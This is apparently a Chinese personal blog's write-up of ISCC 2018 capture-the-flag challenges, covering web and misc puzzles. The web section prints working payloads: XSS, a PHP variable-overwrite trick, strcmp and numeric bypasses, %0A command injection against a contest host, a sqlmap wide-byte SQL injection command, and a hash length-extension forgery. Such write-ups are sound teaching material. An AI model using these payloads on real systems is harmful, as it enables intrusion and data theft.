V0W's Blog

ISCC 2018 WriteUp

字数统计: 1,011阅读时长: 5 min
2018/05/07 Share

ISCC 2018 WriteUp


5.1开始
5.2更新第二批新题
5.5更新第三批新题


web

比较数字大小

文本框限长,Burp提交即可。

XSS

UTF-7解码,得到:

1
+/v+ <script>alert("key:/%nsfocusXSStest%/")</script>-

flag{Hell0World}

都是套路

源码泄露(我试了好多.swp .bak .git等等,结果竟然是.txt ==、)
index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1.<?php
2.include "flag.php";
3.if ($_SERVER["REQUEST_METHOD"] != "POST")
4. die("flag is here");
5.
6.if (!isset($_POST["flag"]) )
7. die($_403);
8.foreach ($_GET as $k => $v){
9. $$k = $$v;
10.}
11.foreach ($_POST as $k => $v){
12. $$k = $v;
13.}
//14.var_dump($k);
//15.var_dump($v);
16.
17.if ( $_POST["flag"] !== $flag )
18. die($_403);
19.
20.echo "flag: ". $flag . "\n";
21.die($_200);
22.
23.?>

源码包含了flag.php文件,并且需要满足3个if里的条件才能获取flag,题目中使用了两个foreach并且也使用了$$.两个foreach中对 $$key的处理是不一样的,满足条件后会将$flag里面的值打印出来,所以$flag是在flag.php文件文件中的。

但是由于第7,11-13行间的代码会将$flag的值给覆盖掉了,所以需要先将$flag的值赋给$_200或$_403变量,然后利用die($_200)或 die($_403)将flag打印出来。

解题方法:

由于第7,11-13行间的代码会将$flag的值给覆盖掉,所以只能利用第一个foreach先将$flag的值赋给$_200,然后利用die($_200)将原本的flag值打印出来。

payload

GET: ?_200=flag
POST: flag=

web02

伪造IP

X-Forwarded-For不行

Client-IP: 127.0.0.1

Please give me username and password!

得到源码index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

容易理解:
strcasecmp($username,$flag)==0,php弱类型strcmp数组绕过,
strlen($password)<4&&$password>999
科学计数法绕过

由此得到payload:

username[]=[1,2,3]&password=1e8

strcmp和strcasecmp类似
区别在于:strcmp区分大小写,strcasecmp不区分大小写

ping IP

http://118.190.152.202:8018

请ping我的IP 看你会ping通吗

?id=xx.xx.xx.xx 然后会返回ping该IP的结果。
mark

想到命令执行, 但是有过滤& 用%0a 绕过就行。

payload:
118.190.152.202:8018/?ip=118.190.152.202 %0A ls

SQL注入的艺术

id=1时:
mark

id=1’,不变,说明有过滤

id=1%df%27,页面变了,可能是gbk编码导致的宽字节注入,但是没有回显,需要用盲注。

补了一波盲注姿势。

python2 sqlmap.py -u “http:
//118.190.152.202:8015/index.php?id=1%DF%27” –dump -D baji -T admins -C flag

Y0u_@@33w_dxxmn_9rf0Od

Collide

hash扩展长度攻击
username=guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
verify=5f585093a7fe86971766c3d25c43d0eb

mark

##


Misc

What is that?

向下的手指图片,提示我们flag在下面,于是winhex修改高度,拉高得到flag:
Flag={_Welcome_To_ISCC_2018_}

秘密电报

培根密码

Where is the FLAG?

二维码拼图了解一下==、
flag{a332b700-3621-11e7-a53b-6807154a58cf}

暴力xx不可取

伪加密

1
vfppjrnerpbzvat

凯撒解密(rot13)

1
isccwearecoming

猫的心思

jpg文件以 FFD9 结束。
文件改成doc。

了解一下 与佛论禅==、

mark

16进制
base32
base64
混合

F1a9_is_I5cc_ZOl8_G3TP01NT

凯撒十三世

凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。

rot13得到
roqtp697t95j3

对应键盘的下面一行,如r对f,o对l
得:
flag:yougotme

重重谍影

这是一道脑洞题,简单的要命。层层迷雾之后就是答案,刹那便是永恒。南无阿弥陀佛。

1
Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==

base64 解

解到解不了的时候,AES无密码解密(==、很坑没遇见过)
然后是与佛论禅==、

flag是 把我复制走 ==、当时懵了以为自己解错了。

CATALOG
  1. 1. ISCC 2018 WriteUp
  2. 2. web
    1. 2.1. 比较数字大小
    2. 2.2. XSS
    3. 2.3. 都是套路
      1. 2.3.0.1. 解题方法:
      2. 2.3.0.2. payload
  3. 2.4. web02
  4. 2.5. Please give me username and password!
  5. 2.6. ping IP
  6. 2.7. SQL注入的艺术
  7. 2.8. Collide
  • 3. Misc
    1. 3.1. What is that?
    2. 3.2. 秘密电报
    3. 3.3. Where is the FLAG?
    4. 3.4. 暴力xx不可取
    5. 3.5. 猫的心思
    6. 3.6. 凯撒十三世
    7. 3.7. 重重谍影